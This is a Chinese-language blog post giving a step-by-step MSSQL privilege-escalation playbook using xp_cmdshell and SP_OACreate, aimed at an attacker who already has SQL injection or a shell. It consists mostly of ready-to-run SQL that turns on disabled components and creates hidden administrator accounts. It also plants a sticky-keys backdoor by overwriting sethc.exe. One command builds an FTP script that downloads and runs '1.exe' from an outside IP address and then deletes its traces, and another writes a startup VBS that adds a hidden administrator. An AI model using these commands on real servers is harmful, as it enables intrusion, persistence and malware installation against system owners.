MSSQL提权之xp_cmdshell、SP_OACreate

MSSQL提权之xp_cmdshell

 

阅读目录(Content)

回到顶部(go to top)

一、简介
        xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
 

三、SQL Server 2005中的xp_cmdshell
        由于存在安全隐患,所以在SQL Server 2005中, xp_cmdshell 默认是关闭的。
        此时,如果执行 xp_cmdshell 将会提示服务未开启:
 
        exec xp_cmdshell 'dir c:/'

消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

0x01 前提

  1. getshell或者存在sql注入并且能够执行命令。

  2. sql server是system权限,sql server默认就是system权限。

回到顶部(go to top)

0x02 xp_cmdshell

有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

 

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

 

0x03 提权

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

 

 MSSQL提权之xp_cmdshell、SP_OACreate

 

SP_OACreate提权经验

 

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

  首先   EXEC sp_configure 'show advanced options', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'Ole Automation Procedures', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'show advanced options', 0;   打开组件,2005中默认关闭   1)直接加用户   2000系统:   declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'        xp和2003系统:   declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'        2)粘贴键替换   declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';   declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';   需要同时具备sp_oacreate 和sp_oamethod 两个功能组件   3)直接传马   DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--   4)启动项写入加账户脚本   declare @sp_passwordxieo int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';   5)如果该服务器有网站,则直接用方法4)写入一句话

 

上一篇:关于属性的书写


下一篇:Git学习系列 (二)